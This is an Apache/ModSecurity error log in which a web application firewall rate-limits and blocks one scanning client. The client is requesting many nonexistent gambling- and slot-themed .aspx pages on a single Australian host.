[Fri Mar 27 10:07:14.262812 2026] [:error] [pid 27749:tid 27805] [client 54.36.179.84:56630] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "acXmUsEqyoMni2Q6_X6LvQAAAE4"]
[Fri Mar 27 10:07:16.860909 2026] [:error] [pid 27743:tid 27788] [client 54.36.179.84:34942] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "acXmVCA46UYYLqzw99AjbwAAABg"]
[Fri Mar 27 10:07:19.528729 2026] [:error] [pid 4293:tid 4312] [client 54.36.179.84:34952] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "acXmV5LjeJUC3OKtEx_8TQAAAVE"]
[Fri Mar 27 10:07:22.009137 2026] [:error] [pid 27749:tid 27793] [client 54.36.179.84:34964] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "acXmWsEqyoMni2Q6_X6LxgAAAEI"]
[Fri Mar 27 10:07:24.610607 2026] [:error] [pid 27750:tid 27835] [client 54.36.179.84:34980] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "acXmXIaSil5rd17ieLxvaAAAAJE"]
[Fri Mar 27 10:07:27.289897 2026] [:error] [pid 63897:tid 63907] [client 54.36.179.84:37472] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acXmX2VSkmYmLu7ycYh_FQAAAQg"]
[Fri Mar 27 10:07:29.823944 2026] [:error] [pid 27750:tid 27837] [client 54.36.179.84:37488] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acXmYYaSil5rd17ieLxvbwAAAJM"]
[Fri Mar 27 10:07:53.265636 2026] [:error] [pid 4293:tid 4308] [client 54.36.179.84:37494] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "acXmeZLjeJUC3OKtEx_8qwAAAU0"]
[Fri Mar 27 10:07:55.868826 2026] [:error] [pid 27851:tid 27881] [client 54.36.179.84:42322] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "acXme3R2ccxe3RMCLbpV-QAAANc"]
[Fri Mar 27 10:07:58.424589 2026] [:error] [pid 63897:tid 63908] [client 54.36.179.84:49022] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "acXmfmVSkmYmLu7ycYh_ngAAAQk"]
[Fri Mar 27 10:08:00.942861 2026] [:error] [pid 63897:tid 63908] [client 54.36.179.84:49026] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "acXmgGVSkmYmLu7ycYh_qAAAAQk"]
[Fri Mar 27 10:08:03.458401 2026] [:error] [pid 27743:tid 27772] [client 54.36.179.84:49030] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "acXmgyA46UYYLqzw99AjhQAAAAg"]
[Fri Mar 27 10:08:06.036422 2026] [:error] [pid 27749:tid 27811] [client 54.36.179.84:49034] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "acXmhsEqyoMni2Q6_X6L3AAAAFQ"]
[Fri Mar 27 10:08:08.478779 2026] [:error] [pid 27851:tid 27864] [client 54.36.179.84:56672] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "acXmiHR2ccxe3RMCLbpWCAAAAMY"]
[Fri Mar 27 10:08:10.986042 2026] [:error] [pid 4341:tid 4352] [client 54.36.179.84:56678] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "acXmiuKJWrNB5dMlERFuzgAAAYk"]
[Fri Mar 27 10:08:13.311826 2026] [:error] [pid 27750:tid 27819] [client 54.36.179.84:56682] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "acXmjYaSil5rd17ieLxvhwAAAIE"]
[Fri Mar 27 10:08:15.761143 2026] [:error] [pid 27750:tid 27839] [client 54.36.179.84:56694] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "acXmj4aSil5rd17ieLxvigAAAJU"]
[Fri Mar 27 10:08:18.371553 2026] [:error] [pid 27750:tid 27838] [client 54.36.179.84:59624] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "acXmkoaSil5rd17ieLxvjQAAAJQ"]
[Fri Mar 27 10:08:20.769701 2026] [:error] [pid 27750:tid 27832] [client 54.36.179.84:59632] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "acXmlIaSil5rd17ieLxvkAAAAI4"]
[Fri Mar 27 10:08:23.319577 2026] [:error] [pid 27750:tid 27831] [client 54.36.179.84:59638] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "acXml4aSil5rd17ieLxvlAAAAI0"]
[Fri Mar 27 10:08:25.708012 2026] [:error] [pid 27743:tid 27769] [client 54.36.179.84:59652] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "acXmmSA46UYYLqzw99AjlwAAAAU"]
[Fri Mar 27 10:08:28.141889 2026] [:error] [pid 63897:tid 63902] [client 54.36.179.84:60594] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "acXmnGVSkmYmLu7ycYh_yAAAAQM"]
[Fri Mar 27 10:08:30.517196 2026] [:error] [pid 27851:tid 27868] [client 54.36.179.84:60604] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "acXmnnR2ccxe3RMCLbpWGwAAAMo"]
[Fri Mar 27 10:08:33.039017 2026] [:error] [pid 63897:tid 63913] [client 54.36.179.84:60616] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "acXmoWVSkmYmLu7ycYh_1wAAAQ4"]
[Fri Mar 27 10:08:35.571222 2026] [:error] [pid 27743:tid 27783] [client 54.36.179.84:60626] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "acXmoyA46UYYLqzw99AjmgAAABM"]
[Fri Mar 27 10:08:37.936707 2026] [:error] [pid 63897:tid 63923] [client 54.36.179.84:56964] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "acXmpWVSkmYmLu7ycYh_6AAAARg"]
[Fri Mar 27 10:08:40.444146 2026] [:error] [pid 27749:tid 27804] [client 54.36.179.84:56968] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "acXmqMEqyoMni2Q6_X6L-gAAAE0"]
[Fri Mar 27 10:08:42.847959 2026] [:error] [pid 4341:tid 4348] [client 54.36.179.84:56970] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "acXmquKJWrNB5dMlERFu-wAAAYU"]
[Fri Mar 27 10:08:45.216059 2026] [:error] [pid 4341:tid 4367] [client 54.36.179.84:56980] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "acXmreKJWrNB5dMlERFvBgAAAZg"]
[Fri Mar 27 10:08:47.692180 2026] [:error] [pid 4341:tid 4345] [client 54.36.179.84:41530] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "acXmr-KJWrNB5dMlERFvEgAAAYI"]
[Fri Mar 27 10:08:50.196794 2026] [:error] [pid 63897:tid 63903] [client 54.36.179.84:41532] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "acXmsmVSkmYmLu7ycYh_-gAAAQQ"]
[Fri Mar 27 10:09:11.141718 2026] [:error] [pid 27749:tid 27812] [client 54.36.179.84:41534] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "acXmx8EqyoMni2Q6_X6MEwAAAFU"]
[Fri Mar 27 10:09:13.582010 2026] [:error] [pid 63897:tid 63902] [client 54.36.179.84:40566] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "acXmyWVSkmYmLu7ycYiARAAAAQM"]
[Fri Mar 27 10:09:16.076217 2026] [:error] [pid 63897:tid 63922] [client 54.36.179.84:40572] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "acXmzGVSkmYmLu7ycYiAWwAAARc"]
[Fri Mar 27 10:09:18.425315 2026] [:error] [pid 4341:tid 4363] [client 54.36.179.84:41960] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "acXmzuKJWrNB5dMlERFvNwAAAZQ"]
[Fri Mar 27 10:09:20.915315 2026] [:error] [pid 4293:tid 4297] [client 54.36.179.84:41974] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "acXm0JLjeJUC3OKtEx_9CwAAAUI"]
[Fri Mar 27 10:09:23.433988 2026] [:error] [pid 4341:tid 4364] [client 54.36.179.84:41976] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "acXm0-KJWrNB5dMlERFvQAAAAZU"]
[Fri Mar 27 10:09:25.930841 2026] [:error] [pid 27749:tid 27814] [client 54.36.179.84:41990] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acXm1cEqyoMni2Q6_X6MGAAAAFc"]
[Fri Mar 27 10:09:28.420561 2026] [:error] [pid 27749:tid 27808] [client 54.36.179.84:46972] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "acXm2MEqyoMni2Q6_X6MHwAAAFE"]
[Fri Mar 27 10:09:30.772178 2026] [:error] [pid 4341:tid 4353] [client 54.36.179.84:46976] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acXm2uKJWrNB5dMlERFvTgAAAYo"]
[Fri Mar 27 10:09:33.270893 2026] [:error] [pid 4341:tid 4353] [client 54.36.179.84:46984] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "acXm3eKJWrNB5dMlERFvWAAAAYo"]
[Fri Mar 27 10:09:35.746803 2026] [:error] [pid 63897:tid 63903] [client 54.36.179.84:46996] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "acXm32VSkmYmLu7ycYiAgAAAAQQ"]
[Fri Mar 27 10:09:38.272717 2026] [:error] [pid 4293:tid 4306] [client 54.36.179.84:54306] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "acXm4pLjeJUC3OKtEx_9LAAAAUs"]
[Fri Mar 27 10:09:40.776076 2026] [:error] [pid 63897:tid 63916] [client 54.36.179.84:54322] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "acXm5GVSkmYmLu7ycYiAlAAAARE"]
[Fri Mar 27 10:09:43.272110 2026] [:error] [pid 4341:tid 4346] [client 54.36.179.84:54330] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "acXm5-KJWrNB5dMlERFvagAAAYM"]
[Fri Mar 27 10:09:45.771853 2026] [:error] [pid 27743:tid 27786] [client 54.36.179.84:54332] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "acXm6SA46UYYLqzw99AjsAAAABY"]
[Fri Mar 27 10:09:48.297569 2026] [:error] [pid 63897:tid 63899] [client 54.36.179.84:41162] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "acXm7GVSkmYmLu7ycYiAqwAAAQA"]
[Fri Mar 27 10:09:50.800244 2026] [:error] [pid 4341:tid 4360] [client 54.36.179.84:41168] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "acXm7uKJWrNB5dMlERFvfgAAAZE"]
[Fri Mar 27 10:09:53.302375 2026] [:error] [pid 63897:tid 63908] [client 54.36.179.84:41174] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "acXm8WVSkmYmLu7ycYiAvwAAAQk"]
[Fri Mar 27 10:09:55.781232 2026] [:error] [pid 4341:tid 4351] [client 54.36.179.84:41184] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "acXm8-KJWrNB5dMlERFvgwAAAYg"]
[Fri Mar 27 10:09:58.284328 2026] [:error] [pid 63897:tid 63923] [client 54.36.179.84:35816] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "acXm9mVSkmYmLu7ycYiA0wAAARg"]
[Fri Mar 27 10:10:00.780905 2026] [:error] [pid 4341:tid 4357] [client 54.36.179.84:35824] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "acXm-OKJWrNB5dMlERFvoAAAAY4"]
[Fri Mar 27 10:10:03.097313 2026] [:error] [pid 4293:tid 4314] [client 54.36.179.84:35840] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acXm-5LjeJUC3OKtEx_9bQAAAVM"]
[Fri Mar 27 10:10:05.430433 2026] [:error] [pid 4293:tid 4308] [client 54.36.179.84:35846] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "acXm_ZLjeJUC3OKtEx_9dwAAAU0"]
[Fri Mar 27 10:10:07.915717 2026] [:error] [pid 63897:tid 63913] [client 54.36.179.84:41258] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "acXm_2VSkmYmLu7ycYiA3wAAAQ4"]
